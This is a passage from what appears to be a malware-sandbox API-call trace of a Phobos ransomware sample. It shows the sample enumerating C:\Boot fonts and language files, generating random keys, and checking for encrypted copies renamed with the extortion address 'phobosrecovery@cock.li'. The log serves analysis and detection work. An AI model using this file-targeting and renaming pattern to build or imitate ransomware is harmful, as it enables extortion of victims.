dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.884] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0055.884] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\malgun_boot.ttf" (normalized: "c:\\boot\\fonts\\malgun_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0055.910] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=177414) returned 1 [0055.910] CloseHandle (hObject=0x304) returned 1 [0055.910] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\malgun_boot.ttf" (normalized: "c:\\boot\\fonts\\malgun_boot.ttf")) returned 0x20 [0055.911] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\malgun_boot.ttf.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\fonts\\malgun_boot.ttf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0055.911] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\malgun_boot.ttf" (normalized: "c:\\boot\\fonts\\malgun_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.911] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0055.911] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\meiryon_boot.ttf" (normalized: "c:\\boot\\fonts\\meiryon_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0055.975] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=143754) returned 1 [0055.975] CloseHandle (hObject=0x304) returned 1 [0055.975] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\meiryon_boot.ttf" (normalized: "c:\\boot\\fonts\\meiryon_boot.ttf")) returned 0x20 [0055.975] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\meiryon_boot.ttf.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\fonts\\meiryon_boot.ttf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0055.975] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\meiryon_boot.ttf" (normalized: "c:\\boot\\fonts\\meiryon_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.975] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0055.976] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\meiryo_boot.ttf" (normalized: "c:\\boot\\fonts\\meiryo_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0056.006] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=145419) returned 1 [0056.006] CloseHandle (hObject=0x304) returned 1 [0056.007] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\meiryo_boot.ttf" (normalized: "c:\\boot\\fonts\\meiryo_boot.ttf")) returned 0x20 [0056.007] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\meiryo_boot.ttf.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\fonts\\meiryo_boot.ttf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0056.007] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\meiryo_boot.ttf" (normalized: "c:\\boot\\fonts\\meiryo_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.007] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0056.007] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msjhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msjhn_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0056.007] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=162331) returned 1 [0056.007] CloseHandle (hObject=0x304) returned 1 [0056.008] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msjhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msjhn_boot.ttf")) returned 0x20 [0056.008] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msjhn_boot.ttf.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\fonts\\msjhn_boot.ttf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0056.008] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msjhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msjhn_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.008] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0056.008] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msjh_boot.ttf" (normalized: "c:\\boot\\fonts\\msjh_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0056.013] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=164347) returned 1 [0056.013] CloseHandle (hObject=0x320) returned 1 [0056.013] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msjh_boot.ttf" (normalized: "c:\\boot\\fonts\\msjh_boot.ttf")) returned 0x20 [0056.015] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msjh_boot.ttf.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\fonts\\msjh_boot.ttf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0056.015] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msjh_boot.ttf" (normalized: "c:\\boot\\fonts\\msjh_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.015] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0056.015] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msyhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msyhn_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0056.015] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=154427) returned 1 [0056.015] CloseHandle (hObject=0x320) returned 1 [0056.015] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msyhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msyhn_boot.ttf")) returned 0x20 [0056.015] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msyhn_boot.ttf.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\fonts\\msyhn_boot.ttf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0056.016] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msyhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msyhn_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.016] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0056.016] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msyh_boot.ttf" (normalized: "c:\\boot\\fonts\\msyh_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0056.016] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=156245) returned 1 [0056.016] CloseHandle (hObject=0x320) returned 1 [0056.016] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msyh_boot.ttf" (normalized: "c:\\boot\\fonts\\msyh_boot.ttf")) returned 0x20 [0056.016] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msyh_boot.ttf.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\fonts\\msyh_boot.ttf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0056.016] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msyh_boot.ttf" (normalized: "c:\\boot\\fonts\\msyh_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.017] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0056.017] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\segmono_boot.ttf" (normalized: "c:\\boot\\fonts\\segmono_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0056.021] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=44859) returned 1 [0056.021] CloseHandle (hObject=0x304) returned 1 [0056.021] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\segmono_boot.ttf" (normalized: "c:\\boot\\fonts\\segmono_boot.ttf")) returned 0x20 [0056.021] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\segmono_boot.ttf.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\fonts\\segmono_boot.ttf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0056.021] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\segmono_boot.ttf" (normalized: "c:\\boot\\fonts\\segmono_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.021] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0056.021] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\segoen_slboot.ttf" (normalized: "c:\\boot\\fonts\\segoen_slboot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0056.022] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=85862) returned 1 [0056.022] CloseHandle (hObject=0x304) returned 1 [0056.022] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\segoen_slboot.ttf" (normalized: "c:\\boot\\fonts\\segoen_slboot.ttf")) returned 0x20 [0056.022] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\segoen_slboot.ttf.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\fonts\\segoen_slboot.ttf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0056.022] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\segoen_slboot.ttf" (normalized: "c:\\boot\\fonts\\segoen_slboot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.022] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0056.022] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\segoe_slboot.ttf" (normalized: "c:\\boot\\fonts\\segoe_slboot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0056.023] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=86178) returned 1 [0056.023] CloseHandle (hObject=0x304) returned 1 [0056.023] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\segoe_slboot.ttf" (normalized: "c:\\boot\\fonts\\segoe_slboot.ttf")) returned 0x20 [0056.023] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\segoe_slboot.ttf.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\fonts\\segoe_slboot.ttf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0056.023] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\segoe_slboot.ttf" (normalized: "c:\\boot\\fonts\\segoe_slboot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.023] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0056.023] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0056.023] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=49091) returned 1 [0056.023] CloseHandle (hObject=0x304) returned 1 [0056.023] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf")) returned 0x20 [0056.024] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\wgl4_boot.ttf.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0056.024] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.024] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0056.024] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fr-CA\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-ca\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0056.024] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=79200) returned 1 [0056.024] CloseHandle (hObject=0x304) returned 1 [0056.024] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fr-CA\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-ca\\bootmgr.exe.mui")) returned 0x20 [0056.025] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fr-CA\\bootmgr.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\fr-ca\\bootmgr.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0056.025] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fr-CA\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-ca\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.025] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0056.025] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0056.025] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=79192) returned 1 [0056.025] CloseHandle (hObject=0x304) returned 1 [0056.025] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui")) returned 0x20 [0056.025] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fr-FR\\bootmgr.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0056.025] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.025] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0056.025] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fr-FR\\memtest.exe.mui" (normalized: "c:\\boot\\fr-fr\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0056.026] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=45984) returned 1 [0056.026] CloseHandle (hObject=0x304) returned 1 [0056.026] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fr-FR\\memtest.exe.mui" (normalized: "c:\\boot\\fr-fr\\memtest.exe.mui")) returned 0x20 [0056.026] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fr-FR\\memtest.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\fr-fr\\memtest.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0056.026] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fr-FR\\memtest.exe.mui" (normalized: "c:\\boot\\fr-fr\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.026] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0056.026] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\hr-HR\\bootmgr.exe.mui" (normalized: "c:\\boot\\hr-hr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0056.026] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=76640) returned 1 [0056.026] CloseHandle (hObject=0x304) returned 1 [0056.026] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\hr-HR\\bootmgr.exe.mui" (normalized: "c:\\boot\\hr-hr\\bootmgr.exe.mui")) returned 0x20 [0056.027] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\hr-HR\\bootmgr.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\hr-hr\\bootmgr.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0056.027] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\hr-HR\\bootmgr.exe.mui" (normalized: "c:\\boot\\hr-hr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.027] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0056.027] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0056.027] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=78688) returned 1 [0056.027] CloseHandle (hObject=0x304) returned 1 [0056.027] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui")) returned 0x20 [0056.027] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\hu-HU\\bootmgr.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0056.027] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.028] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0056.028] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\hu-HU\\memtest.exe.mui" (normalized: "c:\\boot\\hu-hu\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0056.028] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=45976) returned 1 [0056.028] CloseHandle (hObject=0x304) returned 1 [0056.028] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\hu-HU\\memtest.exe.mui" (normalized: "c:\\boot\\hu-hu\\memtest.exe.mui")) returned 0x20 [0056.028] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\hu-HU\\memtest.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\hu-hu\\memtest.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0056.028] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\hu-HU\\memtest.exe.mui" (normalized: "c:\\boot\\hu-hu\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.028] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0056.028] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0056.029] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=77144) returned 1 [0056.029] CloseHandle (hObject=0x304) returned 1 [0056.029] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui")) returned 0x20 [0056.029] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\it-IT\\bootmgr.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0056.030] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.030] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0056.030] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\it-IT\\memtest.exe.mui" (normalized: "c:\\boot\\it-it\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0056.030] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=45472) returned 1 [0056.030] CloseHandle (hObject=0x304) returned 1 [0056.030] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\it-IT\\memtest.exe.mui" (normalized: "c:\\boot\\it-it\\memtest.exe.mui")) returned 0x20 [0056.030] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\it-IT\\memtest.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\it-it\\memtest.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0056.031] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\it-IT\\memtest.exe.mui" (normalized: "c:\\boot\\it-it\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.031] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0056.031] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: 